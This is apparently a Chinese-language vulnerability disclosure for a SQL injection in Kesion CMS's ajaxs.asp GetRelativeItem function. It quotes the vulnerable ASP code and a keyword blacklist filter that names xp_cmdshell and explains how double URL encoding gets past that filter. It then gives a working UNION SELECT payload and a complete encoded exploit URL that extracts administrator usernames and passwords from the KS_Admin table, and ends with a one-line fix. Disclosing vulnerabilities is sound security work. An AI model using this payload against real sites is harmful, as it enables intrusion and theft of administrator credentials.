函数过滤混乱导致注入

Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
 Case "Ctoe" CtoE
 Case "GetTags" GetTags
 Case "GetRelativeItem" GetRelativeItem //问题函数
 ...skip...
 Case "getonlinelist" getonlinelist
End Select
 
 
Sub GetRelativeItem() //漏洞函数开始
    Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置，只调用ks.s函数，无其它过滤。
    Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
    Dim RKey:Rkey=lcase(KS.G("Rkey"))
    Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
    Dim ID:ID=KS.ChkClng(KS.G("ID"))
    Dim Param,RS,SQL,k,SqlStr
    If Key<>"" Then
      If (Rtitle="true" Or RKey="true") Then
       If Rtitle="true" Then
         param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
       end if
       If Rkey="true" Then
         If Param="" Then
           Param=Param & " keywords like '%" & key & "%'"
         Else
           Param=Param & " or keywords like '%" & key & "%'"
         End If
       End If
    Else
       Param=Param & " keywords like '%" & key & "%'"
    End If
   End If
  
   
    If Param<>"" Then
        Param=" where InfoID<>" & id & " and (" & param & ")"
    else
       Param=" where InfoID<>" & id
    end if
   
     If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
    
     Param=Param & " and verific=1"
  
    SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询 www.2cto.com
    Set RS=Server.CreateObject("ADODB.RECORDSET")
    RS.Open SqlStr,conn,1,1
    If Not RS.Eof Then
     SQL=RS.GetRows(-1)
    End If
    RS.Close
 
先进行了过滤，然后才调用UnEscape解码，
 
Public Function S(Str)
    S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
 
 
Function DelSql(Str)
      Dim SplitSqlStr,SplitSqlArr,I
      SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
      SplitSqlArr = Split(SplitSqlStr,"|")
      For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
         If Instr(LCase(Str),SplitSqlArr(I))>0 Then
            Die "<script>alert('系统警告！\n\n1、您提交的数据有恶意字符" & SplitSqlArr(I) &";\n2、您的数据已经被记录;\n3、您的IP："&GetIP&";\n4、操作日期："&Now&";\n      Powered By Kesion.Com!');window.close();</script>"
         End if
      Next
      DelSql = Str
    End Function
 
如果配合Unescape()函数，刚过滤不会生效。可以采用unicode编码方式，则不会在浏览器中出现被过滤的字符。例如，单引号可以编码为。%2527，经过解码后还是“'”号，这样的话，就可以利用类似php的二次编码漏洞的方式绕过过滤了。www.2cto.com


注入语句：%') union select 1,2,username+'|'+ password from KS_Admin
 
转换如下：
/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
修复方案：

UnEscape()函数调用位置放在函数体内，或者不调用。

作者 ywledoc